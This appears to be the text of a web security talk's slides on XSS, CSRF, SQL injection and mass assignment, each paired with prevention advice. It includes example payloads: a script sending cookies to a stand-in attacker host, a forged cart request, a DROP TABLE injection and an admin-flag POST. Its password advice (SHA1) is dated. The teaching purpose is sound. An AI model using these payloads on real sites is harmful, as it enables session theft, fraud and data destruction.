XSS The user believes you are this guy: But this guy is really watching:
XSS: Methods Non-persistent: Entice user to load page (either by clicking a link or a hidden frame) and inject client-side script. Persistent: Save to the database and get users to load the page with the client-side script.
XSS Give me back my session! <script> document.write('<img src=” http://my.hacker.com/ me.php?cookie=' + document.cookie + '” width=”1” height=”1” />'); </script>
XSS Prevention Always Escape Output How you escape depends upon context. <ul><li>URL Encoded
White listing HTML tags (black listing is tricky!) </li></ul>
CSRF (Cross-site Request Forgery) Exploit server's trust of user.
CSRF You think this is your user: But really it is:
CSRF Example: <img src=” http://your.site.com/addtocart.php?item-id=12&ship_to=l33t_haxor ” height=”1” width=”1” /> Works especially well with GET requests, but using POST is not a surefire way to prevent this.
CSRF Prevention Techniques Authorize each user action. Don't use GET when modifying data.
SQL Injection String sql = “SELECT * FROM users WHERE name LIKE '%” + name + “'”; http://www.subgenius.com/person.jsp?name=foobar ”;+DROP+TABLE+USERS--
SQL Injection Prevention This one is pretty easy: use parameterized statements. (You could also escape control characters, but there are issues with that.) String sql = "SELECT * FROM users WHERE name LIKE ?"; java.sql.PreparedStatement stmt = Conn.prepareStatement(sql); stmt.setString(1, request.getParameter("name"));
Mass Assignment Rails Example: @user = User.find(current_user.id) @user.update_attributes(params[:user]) If I POST user[is_admin] = 1 W00t! I pwned u! Fix by using attr_accessible (in model) or by whitelisting. http://www.quarkruby.com/2007/9/20/ruby-on-rails-security-guide
Mass Assignment Symfony: If you're using Forms, you're not vulnerable. (Kudos to Symfony.) CakePHP: # Anything about $this->data could be changed! # This makes me sad. $this->Post->save($this->data);
Other Considerations > Rate limit user login attempts to prevent brute-force attacks. + Use caching (memcache) to track attempts. > Always apply hash to user passwords + Md5 is no good, use Sha1, Sha256 & Salt Useful Resources Potential Attacks Overview (OWASP has a ton of info!) http://www.owasp.org/index.php/Category:Attack Google Code University on Web Security http://code.google.com/edu/security/index.html Rails Security Guide http://www.quarkruby.com/2007/9/20/ruby-on-rails-security-guide
Wrapping Things Up DO: Assume that users can be malicious. Assume that your data is important (it should be!) DON'T: Assume your framework handles all security concerns. Assume your application is “unbreakable.”
Thanks! Any questions? Brian Dailey realm3 web applications Web: http://realm3.com/ Twitter: @brian_dailey Email: email@example.com/ Phone: 917-512-3594 slide-bg: http://bit.ly/xc0m1 Kudos to: http://asi9.net/